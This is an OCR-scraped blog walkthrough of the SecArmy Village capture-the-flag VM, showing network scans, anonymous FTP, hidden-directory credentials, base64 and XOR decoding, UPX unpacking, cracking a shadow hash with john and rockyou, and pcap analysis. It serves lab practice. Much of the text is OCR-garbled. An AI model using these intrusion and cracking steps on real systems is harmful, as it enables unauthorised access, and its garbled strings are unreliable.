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netdiscover -i eth® -r 192.168.154.1/24

192.168.154. @ 50:56:cO:00: 0! 6@ VMware,
192.168.154.2 0 :56:e2:7e:b8 VMware,

192.168.154.134 00:0c:29:57:cc:f2 8 @ VMware,
192.168.154.254 @@:50:56:f6:65: A 2480 VMware,

II https

g I 41 483X O] Y /& threader3000
https://blog.csdn.net/Jiajiajiang_/article/details/117220625

&

Threader 3000 - Multi-threaded Port Scanner
Version 1.0.7
A project by The Mayor

Scanning target 192.168.154.134

Time started: 2021-05-23 23:34:56.696683
Port 22 is open

Port 21 is open

Port 80 is open

Port 1337 is open

Port scan completed in ©:00:20.491740

Threader3000 recommends the following Nmap scan:
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nmap -p22,21,80,1337 -sV -sC -T4 -Pn -o0A 192.168.154.134 192.168.154.134
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1 = Run suggested Nmap scan

2 = Run another Threader3000 scan

3 = Exit to terminal

Option Selection: 1

nmap -p22,21,80,1337 -sV -sC -T4 -Pn -oA 192.168.154.134 192.168.154.134

Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
Starting Nmap 7.91 ( https://nmap.org ) at 2021-05-23 23:35 EDT

Nmap scan report for 192.168.154.134

Host is up (0.00046s latency).

PORT STATE SERVICE VERSION

21/tcp open ftp vsftpd 2.0.8 or later

| _ftp-anon: Anonymous FTP login allowed (FTP code 230)
| ftp-syst:

|  STAT:

FTP server status:
Connected to ::ffff:192.168.154.129
Logged in as ftp
TYPE: ASCII
No session bandwidth limit

Control connection is plain text
Data connections will be plain text
At session startup, client count was 1
vsFTPd 3.0.3 - secure, fast, stable
End of status
22/tcp open ssh OpenSSH 7.6pl Ubuntu 4ubuntu@.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 2c:54:d0:5a:ae:b3:4f:5b:f8:65:5d:13:c9:ee:86:75 (RSA)
| 256 0c:2b:3a:bd:80:86:f8:6c:2f:9e:ec:e4:7d:ad:83:bf (ECDSA)
| _ 256 2b:4f:04:€0:e5:81:e4:4c:11:2f:92:2a:72:95:58:4e (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
| _http-server-header: Apache/2.4.29 (Ubuntu)
| _http-title: Totally Secure Website
1337/tcp open waste?

I

I

I

I

I

| Session timeout in seconds is 300
I

I

I

I
|

| fingerprint-strings:

| DNSStatusRequestTCP, GetRequest, HTTPOptions, Help, RTSPRequest, SSLSessionReq, TLSSessionReq, Terminal
Welcome to SVOS Password Recovery Facility!
Enter the super secret token to proceed:
Invalid token!

DNSVersionBindReqTCP, GenericlLines, NULL, RPCCheck:

|

|

|

| Exiting!
I

| Welcome to SVOS Password Recovery Facility!
I

Enter the super secret token to proceed:

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 54.69 seconds

Combined scan completed in ©:01:42.547022
Press enter to quit...
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(¢ fip 192.168.154.134

Connected to 192.168.154.134.

220 Welcome to the second challenge!

Name (192.168.154.134:kali): anonymous

331 Please specify the password.

Password:

230 Login successful.

Remote system type 1s UNIX.

Using binmary mode to transfer files.

ftp> ls

200 PORT command successful. Consider using PASV.
15@ Here comes the directory listing.

226 Directory send OK.

ft p= I https://blog.csdn.netiJiajiajiang_

AR BAT A G H]
e i
80

& cC @ © /& 192.168.154.134 N @ & I

o Kali Linux % Kali Training 3 Kali Tools & Kali Forums « KaliDocs e NetHunter Offensive Security MSFU #~ Exploit-DB #- GHDB

Welcome to the first task!

You are required to find our hidden directory and make your way into
the machine.
G00dluck!

A H &

< c @ © /4 192.168.154.134 . @

o Kali Linux ¥ Kali Training ¥ Kali Tools ¥ Kali Forums # Kali Docs ! NetHunter Offensive Security MSFU #- Exploit-DB #- GHDB

Welcome to the hidden directory!
Here are your credentials to make your way into the machine!
xtk, —BX—&

flag1

ctrl + U



C £ view-source:http://192.168.154.134/anon/

o Kali Linux % Kali Training M Kali Tools & KaliForums = KaliDocs & NetHunter

<html>

<head>

<title>Totally Secret Directory</title=

</head=>

<body>

<center><b style="font-size: 32px;">Welcome to the hidden directory! <br>
<hr=

Here are your credentials to make your way into the machine!
<hr=

<hr=

<font color="white"=>uno:lucl@rdmin</font>

</b></center>

</body>

</html=>

uno:luc1@r4mén
Hé, Skilulig
SShE %K.
WELCOME TO THE SECARMY OSCP GIVEAWAY MACHINE!,
'secarmy.org/village/
THIS MACHINE HAS BEEN MADE AS PART OF THE SECARMY VILLAGE

EVENT AND IS SPONSOSRED BY OUR GENEROUS SPONSOR OFFENSIVE
SECURITY. YOU ARE REQUIRED TO COMPLETE 1@ TASKS IN ORDER TO

GET THE ROOT FLAG. MAKE SURE THAT YOU JOIN OUR DISCORD SERVER
(bit.ly/Jjoinsecarmy) IN ORDER TO SUBMIT THE FLAG AS WELL AS
FOR SOLVING YOUR PROBLEMS OR QUERIES ...

GOODLUCK!
unodsvos:~% id
uld=1881(uno) g¢id=1081(uno)} groups=1001(uno) https:/blog.csdn.net/Jiajiajiang_
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UNoasSVos : $ 1s -al
total 48

drwxr-xr-x 12 root root
drwxr-xr-x 25 root root
drwx——— &4 Ccero Cero
drwx cinco cinco
adrwx cuatro cuatro
adrwx dos dos
adrwx nueve nueve
adrwx ocho ocho
drwx sels sels
drwx slete siete
arwx tres tres
drwx Unmo Unmo bttps://blog.csdn.net/liajiajiang_

Ch LN LN 0 LN L o=~ L LJ

BEEHCHK H

UNoaSVoS : $ cd
unodsvos:~% 1s -al
total 44
arwx
drwxr-xr-x 1
-TW-T—T—
-TW-T—T—
arwx
arwxr-x-——
-TW-TW-T —
arwx

uno uno 4896 Oct

root root 4896 Oct

uno uno 228 Sep .bash_logout
uno uno 3771 Sep .Dashrc

uno uno 4896 Sep

uno uno 4896 Sep

uno uno 65 Sep flagl.txt

uno uno 4896 Oct

OrwxXrwxr-x uno uno 4096 Sep

-T'W-T—TI— uno uno 887 Sep .profile
-TW-rw-r— 1 uno uno 183 Sep readme.txt
unodsvos:~% cat readme.txt

Head over to the second user!

You surely can guess the username , the password will be:
L3144 rd@fru7as https://blog.csdn.net/liajiajiang_

oL P L R R R

suprise [

K

4b314rdofru705

su I M2 dosH 3




unoa)svos:~% su cero
Password:

su: Authentication failure
unodsvos:~% su cinco
Password:

su: Authentication failure
unod@svos:~% su cuatro
Password:

su: Authentication failure
unogsvos:~% su dos
Password:

':I 05 f'-.l' SVO5. https://blog.csdn.net'Jiajiajiang_

flag2
Ak Rt

dososvVos :
dosasvos:~$ 1s -al
total 18@
drwx
drwxr-xr-x 1
-TW-TW-T—
-TW-T—T—
-T'Ww-r—r-—
drwx

drwx
Adrwxr-xr-x
drwx

dos 4096 Oct 19 2820

root root 4096 Oct 19 28024

dos dos 87 Oct 5 2828 1337.txt

dos dos 220 Sep 22 2020 .bash_logout

dos dos 3771 Sep 22 2028 .bashrc

dos dos L4096 Sep 22 2028

dos dos 4096 Sep 22 2020

dos dos 135168 Sep 27 2028

dos dos 4096 Sep 22 2020

ArwXrwxr-x dos dos 4096 Sep 22 2020

-I'W-Ir—Tr— dos dos 807 Sep 22 2028 .profile

-rw-rw-r-- 1 dos dos 184 Sep 23 2020 readme.txt

dosdsvos:~$ cat readme.txt

You are required to find the following string inside the files folder:
a821laclB853al1235d48829414626512a hitps:/iblog.csdn.netJialiajiang_

[ S I PN R U B S L I S R C T LN |

linux 2458 H 3 S T RIS CUEN R grep)

grep -r “string” #%1%

dosdsvos:~$ grep -r "a8211ac1853a1235d48829414626512a" files/

2T, KERRXAM

a8211acl853al1235d48829414626512a
Look inside file3131.txt

KEE




UEsSDBBQDAAAAADOIO1EAAAAAAAAAAAAAAAAL AAAAY2hhDGX 1 bmd LM190SWME FAMAAASAFZT2Udrg
tPY+AAAAQQAAABOAAAB JaGFsbGVUZ2UyL27sYWeyLnR4dHPOzBsvSiwpzUksyczPK1bk4vIT L UpV
L1aozC8tUihOTc7PS1FIy@LMB7LTc1PzSqzAPKNgMyOTRCPDWi4AUESDEBQDAAATADOIO1EoZETL
/LNR4dA3KOQ7CMBQFwWIST/T4u8hrbdCk4AU JUXpLAX

dAAAATEAAAATAAAAY2hhbGx1bmdLM190b2
IsLIS8HtSTPVbPsodT4LvUanUYffebHA7 Lck LQgUN506/0hv1+cUhYsM4ThufCOWL1WdIG4AWH
80xY1Z1DAgBmcpZNCciu@itLBCIMYtOY6eKGES jzzcPoDUESBA jBDFAMAAAAAMET 7UQAAAAAAAAAA
AAAAAASATAAAAAANAAN 1BAAAAAGNOYWASZWENZTIVvCgAgAAAAAAABABEAEMOY INZU12GABWPN
3pDWAYDKMiTdLNYBUESBA JBDFAMAAAGAFZI2Udrgt PY+AAAAQQAAABQAJAAAAAAAAAASTKSEKQAA

SZWSNZTIvZmxhZzIudHh@CgAgAAAAAAABABZAADX(Qa960Q1gEASIBr3pDWAQD] ekNYE
UEsSBAjBDFAMAAAZAMGTI7US J02ul@AAAACQAAABMA JAAAAAAAAAASEKSEMOAAAGNOYWXSZWSNZTIV
dG9kby50eHOQKACAAAAAAAAEAGACAY JTk3ZTWAYDKMiTdLNYBgMoy IN2U1g FOSwUGAAAAAAMAAWAD
AQAAPZEAAAAA hit )

sdn.net/ jiang_

UEsSDBBQDAAAAADOiO1EAAAAAAAAAAAAAAAALAAAAY2hhbGx1bmd1Mi9QSWMEFAMAAAGAFZI2Udrg
tPY+AAAAQQAAABQAAAB]aGF sbGVuzZ2UyL2ZsYWcyLnR4dHPOzO@svSiwpzUksyczPK1bk4vIILUpV
L1ao0zC8tUihOTc7PS1FIy@1MB7LTc1PzSqzAPKNgMyOTRCPDWi4AUEsDBBQDAAAIADOiO1Eoztrt
dAAAATEAAAATAAAAY2hhbGx1bmd1Mi90b2RvLNR4dA3KOQ7CMBQFwWI5T/I4u8hrbdCk4AUjUXpax
IsLIS8HtSTPVbPsodT4LvUanUYff6bHd71cKcyzLQgUN506/0hvl+cUhYsM47hufCOWLIWdIGAWH
80xYiZiDAg8mcpZNciu@itLBCIMYtOY6eKG8SjzzcPoDUEsBAj8DFAMAAAAAMEI7UQAAAAAAAAAA
AAAAAASATAAAAAAAAAAQEO1BAAAAAGNOYWXSZWS5NZTIvCgAgAAAAAAABABgAgMoy IN2U1gGABWPN
3pDWAYDKMiTd1NYBUESBAj8DFAMAAAgGAFZI2UdrgtPY+AAAAQQAAABQAJAAAAAAAAAAEEKSBKQAA
AGNoYWxsZW5nZTIvZmxhZzIudHhOCgAgAAAAAAABABEAAOXQa96Q1gEAS5dBr3pDWAQD1OGVekNYB
UEsBAj8DFAMAAAgAM6I7USjO2ul0AAAAgQAAABMAIAAAAAAAAAAEEKSBMQAAAGNOYWXSZWS5NZTIvV
dG9kby50eHQKACAAAAAAAAEAGACAY jIk3ZTWAYDKMiTd1INYBgMoyIN2U1gFQSWUGAAAAAAMAAWAO
AQAAPZEAAAAA

base64f#Z— |~

DES AESEFRINBARR MD5NE/ & URLINE JsShn/ g JSTRIBEIBESE ESCAPEN/ 2% BASEG4 BO/ %

ME, RE, FERURLINMEE

PK 3€;Q challenge2/PK

VOOOH-JU/NOO/-

RINMQ@QKQHOIL @9sSOJ9@<@|3#@DHPZPK

o.txt

99 90 995999 918 HO"91"POKOVI3VIV(U> OFOQOVOOOOW

s, 9B

ONO: 909b98Q @ EOOGH VOOLXV00O I OM+OVOV € 99x0V<Op

@ PK ? 39,0 $ @@Achallenge2/
99250 9OM.$200 9O PK ?

QO 9)challenge2/flag2.txt

V6QOYV>A challenge2/flag2.txts PO K/J,) P, 9O Q+

3€,Q(@ VOt challenge2/tod

Q6QOOO>A S

A EFITk2pk, A REE —Dzip .

GHAEA, RIS

UEsDBBQDAAAAADOIOTEAAAAAAAAAAAAAAAALAAAAY 2hhbGxlbmdIMiI9QSWMEFAMA
AAgAFZI2Udrg
tPY+AAAAQQAAABQAAABjaGFsbGVuUZ2UyL2ZsYWcyL.nR4dHPOzO0svSiwpzUksyczPK1b
k4vJILUpV

L1a0zC8tUihOTc7PS1Fly0IMB7LTc1PzSqzAPKNgMyO TRCPDWi4AUEsDBBQDAAAIADOI
O1Eoztrt

dAAAAIEAAAATAAAAY 2hhbGxIbmdIMi90b2RvLNR4dA3KOQ7CMBQFwWJ5T/14u8hrbdCk4
AUjUXp4x

IsLIS8HtSTPVbPsodT4LvUanUYff6bHd7IcKcyzL QQUN506/Ohv1+cUhYsM47hufCOWL1W
dIG4WH
80xYiZiDAg8mcpZNciuOitLBCIMYtOY6eKG8SjzzcPoDUESBA]SDFAMAAAAAMGI7TUQAA

[@EZF Base64iN® Base64f## BTER




#!/usr/bin/python3
import base64

codes = "' 'UEsDBBQDAAAAADOiO1EAAAAAAAAAAAAAAAALAAAAY2hhbGx1bmd1Mi9QSwWMEFAMAAAEAFZI2Udrg
tPY+AAAAQQAAABQAAABjaGFsbGVuzZ2UyL2ZsYWcyLnR4dHPOz@svSiwpzUksyczPK1bk4vIILUpV
L1a0zC8tUihOTc7PS1FIy@1MB7LTc1PzSqzAPKNgMyOTRCPDWi4AUEsDBBQDAAATIADOiO1Eoztrt
dAAAATEAAAATAAAAY2hhbGx1bmd1Mi90@b2RvLNR4dA3KOQ7CMBQFwWI5T/I4u8hrbdCk4AUjUXp4x
IsLIS8HtSTPVbPsodT4LvUanUYff6bHd71cKcyzLQgUN506/0hvi+cUhYsM4A7hufCOWLIWAIGAWH
80xYiZiDAg8mcpZNciu@itLBCIMYtOY6eKG8SjzzcPoDUESBAj8DFAMAAAAAM6I7UQAAAAAAAAAA
AAAAAASAITAAAAAAAAAAQEO1BAAAAAGNOYWXSZWSNZTIVCEAgAAAAAAABABEgAgMoy IN2U1gGABWPN
3pDWAYDKMiTd1NYBUESBAj8DFAMAAAgAFZI2UdrgtPY+AAAAQQAAABQAJAAAAAAAAAAEEKSBKQAA
AGNOYWxsZW5nZTIvZmxhZzIudHh@CgAgAAAAAAABABEAAOXQa96Q1gEASdBr3pDWAQD1OGvVekNYB
UEsSBAj8DFAMAAAgAM6I7USjO2ul0AAAAgQAAABMATAAAAAAAAAAEEKSBMQAAAGNOYWXSZW5NZTIvV
dG9kby50eHQKACAAAAAAAAEAGACAY jTIk3ZTWAYDKMiTd1INYBgMoyIN2U1gFQSWUGAAAAAAMAAWAO
AQAAPGEAAAAA" "

with open('1l.zip', 'wb') as f:

for code in codes.split('\n'):
f.write(base64.b64decode(code))

~fvuln/village

~fvuln/village

challenge2/
challenge2/flag2.txt
fhallenge f ﬂdﬂ*mﬁtm“jmewwmm




J=[~/wuln/village
challenge2

)=[~/vuln/village/challenge2]

« 2 kali kalil 4896 Sep
3 kali kali 4096 May
1 kali kali 65 Sep
1

[ S I M T O I

kali kali 129 Sep

( )-[~/vuln/village/challenge2]
[j_ cat flas2.txt
Congratulations!

Here's your second flag s

[:—i ?-'~fuu1nfuillagefchallengezj
cat todo.tx

Althﬂugh 1t5 t3t31 WASTE but.
9a@0283ecfb4elb7cl@f7d96e54c3

FR13token
c8ebafe38c2ae9av283ecfb4elb7cl0f7d96e54c39e727d0e5515ba24a4d1f1lb
flag3

HILH 133730 4F

dosalsvos:

DJI netcat . | 137 to handle..

I B Henc1337 3 [

dos@svos:~$ nc 127.0.0.1 1337

Welcome to SVOS Password Recovery Facility!
Enter the super secret token to proceed: c8e6afe38c2ae9a0283ectbdelb7c10f7d96e54c39e727d0e5515ba24a4d1f1b

Here's your login credentials for the third user tres:rd4f43171n47j3re

SER VA SER AT

g
‘\%m



tres@svos:/home/dos$ cd ../tres

tres@svos:~$ 1ls -al

total 60

drwx------ 5 tres tres 4096 Oct 20 2020 .

drwxr-xr-x 12 root root 4096 Oct 19 2020 ..
-rw-r--r-- 1 tres tres 220 Sep 22 2020 .bash_logout
-rw-r--r-- 1 tres tres 3771 Sep 27 2020 .bashrc

drwx------ 2 tres tres 4096 Sep 25 2020 .cache
-rw-rw-r-- 1 tres tres 63 Sep 25 2020 flag3.txt
drwx------ 3 tres tres 4096 Sep 25 2020 .gnupg

drwxrwxr-x 3 tres tres 4096 Sep 25 2020 .local

1 tres tres 807 Sep 22 2020 .profile
-rw-rw-r-- 1 tres tres 292 Oct 20 2020 readme.txt
-rw-rw-r-- 1 tres tres 20348 Sep 27 2020 secarmy-village
tres@svos:~$ cat flag3.txt
Congratulations! Here's your third flag segment: flag3{ac66cf}
tres@svos:~$ cat readme.txt

A collection of conditionals has been added in the secarmy-village binary present in this folder reverse it

-PW-r--r--

flag4
strings & AN T T

PEDT_EHEC|PEDT_WEITE failed.
$Info: This file is pad with the UPX executable packer http://upx.sf.n:
1996-2018 the UPX Team. ALl Rights Reserwved.

|- [~/vuln/village/challenge2
ecarmy-village
Ultimate Packer for eXecutables
Copyright (C) 1996 - 2020
UPX 3.96 Markus Oberhumer, La o0 Molmar & John Reiser

File size ati Format Name

53496 & 2 8 36. € linux/amd64 ecarmy-village

Unpacked 1 file. https.

r—(kali®kali)-[~/vuln/village/challenge2]
L-¢ strings secarmy-village|grep fourth
Here's the credentials for the fourth user cuatro:p3dre@liv4r3z

BER T



You can check them out at /justanother

flags
PifE %justanother H & —%&
XtepngH, POZFREEALSERT .
G MR L.
shellix L5 AMEH LIEE AT TR
[j—i e };é:f;u;gfuillagefqrj
for>

for>
for>»

—2021-85-24 02:31:19—

.png
Connecting to 192.168.1
HTTP request sent, i

SR A 5 BAIA SO
Jefe—Nzbar (ZBar@— MR, HTHEM. S 4ENMmaIpid. SR —4ema45:. EAN/UPC, QR
£

sudo apt-get install libzbar-dev
pip install zbar

#!/usr/bin/python3
import pyzbar.pyzbar as pyzbar
from PIL import Image
for number in range(9,68):
fileName = 'qr/image-{}.png'.format(number)
img = Image.open(fileName)
barcodes = pyzbar.decode(img)
for barcode in barcodes:
barcodeData = barcode.data.decode('utf-8")
print(barcodeData)

AT IIA

(GEIETE S

cinco:ruy70m35



C1lNCoasvos:
cincodsvos:~$
total

drwx——— 3 cinco cinco

drwxr-xr-x 12 root root

-Tw-r—r— 1 cinco cinco

-rw-r—r— 1 cinco cinco
1

& o
| . i
+

.bash_logout
.bashrc
flags.txt

M M
==

—-I'W-TW-T — cinco cinco
drwxrwxr-x 3 cinco cinco
-rw-r—r— 1 cinco cinco 887
-rw-Tw-r— 1 cinco cinco 59
cincodsvos:~$ cat flagh.txt
Congratulations! Here's your 5th flag segment: flag®ibdedd@jeiang

(45}
7=

.profile
readme.txt

T
=

L T T O T O T s O W
5]
L=
| | LW g r

5]
L=
[ L}

omewhere outside the house

F:Fk cincof 4

c1lncoasvos: $ fi /! er cinco 2>/dev/null
/cincos-secrets

/fcincos-secrets/shadow. bak
/fcincos-secrets/hint.txt

L %|shadow.bak

seis:$6$MCzqLn@Z2KB3X3TM$opQCwc/IkRGzFOg/WTve8X/zSQLWVFI8I.RisZCFo@mTQzpvc5zqm/00I5k .PITcFIBnsn7Nu2qeFP8zkB

clncodasvos: :
we will, we will, ROCKYOU ..

82 5t F rockyou. txt Sk Bl fige ~C 44

[j—i |=[~/wuln/village
sudo john shadow

Using default input encoding: UTF-8

Loaded 1 password hash (sha512crypt, crypt(3) $6! 312 12B/128 AVX 2x])

Cost 1 (iteration count) is 5080 for all loaded

Will run 4 OpenMP threads

Press 'q' or Ctrl-C to abort, almost any other

Hao gwa rts ({seis | 0g .netlJiajiajiang_
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[ji#]
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-IW-T—TIr— .profile

readme.txt
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Shell CMS

User Search

@rh oami
Search |

B Freadme X f4:

c1lNncoasvos:
total 24

drwxrwxrwx
drwxr-xr-x
~TWXTWXTWX
~TWXTWXTWX
—WX-WX-WX

—TWXTWXTWX

root
root
root
root
www-data
root

L I
= -
—+ +

Cra

aabbzzee.php
index.php
2020 readme9213.txt
280 robots.txg.

0o = O

3
1
1
1
1

= B

Hichmod 777 readme9213.txt

SR A B

cinco@svos:/var/www/html/shellcmsdashboard$ cat readme9213.txt
password for the seventh user is 6ull3rm@p3n473



sietegsvos:~$% 1ls -al

total 56

drwx 5 siete siete 4096 2020

drwxr-xr-x 12 root root 4096 Oct 2020

-TW-Ir—Tr-— slete siete 220 Sep 2020 .bash_logout
-TW-Ir—Tr-— siete siete 3771 Sep 2028 .bashrc

drwx siete siete 4096 Oct 2020

-TW-TW-T — slete slete 61 Oct 2020 flag7.txt
drwx siete siete 4096 Oct 2020

-TW-TW-T— siete siete 41 Oct 2020 hint.txt
-TW-T—T— slete slete 2 Oct 2020 key.txt
drwxrwxr-x siete siete 4096 Oct 2020

-TW-T—T— slete slete 41 Oct 2020 message.txt
-TW-T—T— slete slete 137 Oct 2020 mighthelp.go
-TW-TW-T -~ siete siete 247 Oct 2020

-TW-Tr—T-— sliete siete 807 Sep 2020 .profile
sletegsvos: cat flag7.txt

B ol e S S S S R S S Y R A T =

Congratulations!
HerelE YDUT ?th Flag EEEment: {lag?{d5f253} https:/iblog.csdn.netJiajiajiang_

flag8

sietegsvos:~% cat hint.txt
Base 18 and Base 256 result in Base 256!
sietedsvos:~% cat key.txt
®
sietedsvos:~% cat message.txt
[11 29 27 25 1@ 21 1 @ 23 1@ 17 12 13 8]
sietedsvos:~% cat mighthelp.go
package main import(
"fmt" ) func main() {
var chars =[]byte{}
strl := string(chars)
fmt.println(strl)

https://blog.csdn.net/Jiajiajiang_
TS 590 S B S

r—(kali®kali)-[~/vuln/village]

L¢ python3

Python 3.9.1+ (default, Feb 5 2021, 13:46:56)

[GCC 10.2.1 20210110] on linux

Type "help", "copyright", "credits" or "license" for more information.

>>> "'.join(chr(ord('x"')"key) for key in [11,29,27,25,10,21,1,0,23,10,17,12,13,8])
'secarmyxoritup’

>>>




XA~ fepasswd.zipf s, FATEMIE, R)EECfF

sletedsvos:
Archive: 1p

sword. ] p355wnrd
1 password.t it

siete@svos:~$ cat password.txt
the next user's password is m@d3570v111454n4

ochoalsvos:
Congratulat
Here's yﬂu:

flag9

Hpcapng X 14

ochoasvos :

1344@

i
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=¥

Orwxr-xr-x
-TW-r—r-—
-TW-T—1TI-—
adrwx
-TW-TW-T
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[ O O Y i |
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[l =N = R o

=7,
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e en

13724
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]

-TW-T—T

feElkalik, #AJ5 Hwireshark$T JF

& F)none.txt
e et e e e e s e e et e e
17740 300.583139012 142.250.67.78 192.168.1. 109 HTTP 149 HTTP/1.1 204 No Content
17778 312.064180458 192.168.1.109 3.134.39.220 HTTP 471 GET /none.txt HTTP/1.1
17804 312.565867219 3.134.39.220 192.168.1.109 HTTP 193 HTTP/1.0 304 Not Modified
17831 315.229266165 192.168.1.109 3.134.39.220 471 GET /none.txt HTTP/1.1
17855 315.745199200 3.134.39.220 192.168.1.109 HTTP 193 HTTP/1.0 304 Not Modified

17907 322.210098244 192 168 1. 1@7 142.250.67. 78 HTTP 166 GET /generate_204 HTTP/1.1

JUrious :‘%t'iui\ulii;{w'] Continuatio
17411 222 2222ARAQAM 142 IRA AT TR 142 1R8 1 1A7 HTTP 127 HTTP/1 1 2AA Nn Cnntent
220 HTTP 387 GET /robo
1.1089 HTTP 724 HTTP/1.0
1.109 HTTP 1287 HTTP/1.0 Colorize Conversation
HTTP 319 GET /favi SCTP

TCP Stream Ctri+Alt+Shift+T Follow

Conversation Filter

Copy

Protocol Preferences
HTTP Stream Ctri+Alt+Shift+H Decode As...

Show Packet in New Window



The striker lockup came when a typist quickly typed a succession of letters on the same type bars and
the strikers were adjacent to each other. There was a higher possibility for the keys to become
jammed. READING IS NOT IMPORTANT, HERE IS WHAT YOU WANT: "mjwfr?2b6j3a5fx/" if the sequence was not
perfectly timed. The theory presents that Sholes redesigned the type bar so as to separate the most

common sequences of letters: ...th..., ...he... and others from causing a jam.

mjwfr?2b6j3a5fx/

EN (%

=

https://www.dcode.fr/keyboard-shift-cipher

Results H 8 & * K x KEeyBoARD SHIFT DECODER
KEYBOARD SHIFTED CIPHERTEXT
Tl Tl mjwfr?2b6j3asfx/
gwerty Tu 7h2gf>xnyhcstds\
gwerty | ¢ jhsg4>wnnhesbd2\
gwerty —J¢ nmere)3gbmédqgévc;
querty | Jju2ré:xgnucgbrs; PLAINTEXT EXPECTED LANGUAGE | English v
(_gwerty —v nueve:355udzdrcl | KEYBOARD LAYOUT | Automatic Detection v
gwerty T 7msvf)wSymeztv20 SHIFT | Automatic Detection v
gwerty < ,kegt|3n7kd4ségc\ USE ONLY ALPHANUMERIC CHARACTERS (]
gwerty To¢ 7k2df|xvykc\tgs. DECRYPT

azerty —u¢ 1,xre73g5,4&4vecL

nueve:355u4z4rco

IllliJIIiJLu A
.DHEIHTUlaT1Dn5
Here's your 9th flag

NUevensvos:
total 56
2020

&

Jf\'ﬂ

LS

]
~F

nueve nueve 4096
root root 4896
nueve nueve 22@
nueve nueve
nueve nueve

nueve
nueve nueve
nueve nueve
root root
nueve nueve
root root
nueve nueve

MM ™
—F

[ge]
[l = N =

.bash_logout
.bashrc

LLXT

]

=i
W
i
m
[l = By |

[0
]

o £
-]

W oo -

orangutan

.profile

readme.txt
.sudo_as_admims/sdcaessdiulng.

ch @ k2
= |

-TW-T—T

[4¢]
+ 0

(a3

b
1
1
1
1
1
1
1

Mowmouvubo owuwt oo
= = = b= =
(s

[g¥]
L=

-TW-I-——T

fi— Fix~orangutan


https://www.dcode.fr/keyboard-shift-cipher

nuevedsvos:~% file orangutan
orangutan: setuid ELF 64-bit LS
Jlinux 3.2.8, BuildID[shall=ced

B executable, x86-64, versionm 1 (SYSV), dynamicall
; ba4cl198b3 Fd593 775d1c6931dfdecblc, not strippe
nuevedgsvos:~% ./orangutan
hello pwner

pwnme if u cam ;)

IFHpwni Ao SEIXFE, A7 R AT
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